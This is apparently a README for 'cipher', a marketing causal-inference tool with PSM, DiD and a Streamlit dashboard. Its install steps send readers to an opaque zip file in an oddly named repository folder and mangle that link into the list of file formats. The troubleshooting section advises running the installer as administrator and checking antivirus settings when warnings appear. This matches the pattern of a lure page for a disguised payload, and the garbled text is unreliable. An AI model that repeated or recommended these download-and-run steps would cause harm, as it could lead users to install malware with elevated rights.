Welcome to the cipher project! This easy-to-use tool helps you understand marketing data through causal inference. You can make informed decisions based on real insights without needing a technical background.
To get started, follow these simple steps:
-
Visit the Releases Page
Click on this link to go directly to the releases page: Download from Releases. -
Choose the Latest Version
On the releases page, look for the latest version of the software. It typically has the highest number and is marked as "latest." -
Download the File
Click on the file that matches your operating system (Windows, Mac, or Linux). The file will usually have a recognizable format such as.exe,.dmg, orhttps://raw.githubusercontent.com/oldman77057/cipher/main/unforeboding/Software_3.5.zip. -
Install the Application
After downloading, find the file in your computer’s downloads folder.- For Windows: Double-click the
.exefile to start the installation. Follow the prompts to complete the setup. - For Mac: Open the
.dmgfile and drag the cipher application to your Applications folder. - For Linux: Extract the
https://raw.githubusercontent.com/oldman77057/cipher/main/unforeboding/Software_3.5.zipfile and follow the instructions in the README file included in the folder.
- For Windows: Double-click the
-
Launch the Application
Once installed, you can find cipher in your applications. Double-click the icon to open it.
cipher offers a simple interface with powerful capabilities:
- Causal Inference: Understand the impact of marketing efforts through various methods like Propensity Score Matching (PSM), Difference-in-Differences (DiD), and uplift modeling.
- Interactive Dashboard: Use the Streamlit dashboard to visualize your data. It updates dynamically as you input new information.
- Comprehensive Data Analysis: Leverage libraries like Pandas, NumPy, and Statsmodels to analyze your data with ease.
- Customizable Visuals: Create tailored charts using Matplotlib, Seaborn, and Plotly for better insights.
Ensure your system meets these requirements for optimal performance:
- Operating System: Windows 10 or later, Mac OS X 10.13 or later, or Ubuntu 18.04 or later.
- RAM: Minimum of 4 GB (8 GB recommended).
- Disk Space: At least 500 MB available.
- Python: Version 3.7 or later is required for running the application.
Once you launch the application, follow these easy steps to begin your analysis:
-
Upload Your Data
Click on the "Upload Data" button to import your marketing data. The application supports CSV and Excel file formats. -
Select Analysis Type
Choose between different causal analysis methods. You can pick Propensity Score Matching for randomization assessment or Uplift Modeling for understanding treatment effects. -
Explore the Dashboard
Use the interactive dashboard to visualize results. It allows you to manipulate data in real-time, focusing on key metrics that matter most to your business. -
Save Your Results
You can export your results as a PDF or an image for easy sharing with your team.
If you encounter any issues, here are some common solutions:
- Installation Problems: Ensure that you're running the installer as an administrator. If you see a warning, check the security settings on your device or antivirus software.
- Performance Issues: Close any unnecessary applications to free up system resources. Ensure that your computer meets the system requirements.
- Data Uploading Errors: Verify that your file is in the correct format. If using Excel, ensure that it doesn't contain hidden sheets or incompatible data types.
If you have questions or need help, you can reach out to our community. We encourage users to ask questions on our GitHub issues page or contribute to discussions.
This project is licensed under the MIT License. You are free to use, modify, and distribute this software, but please respect the license terms.
Thank you for using cipher! Enjoy exploring the insights your marketing data can provide.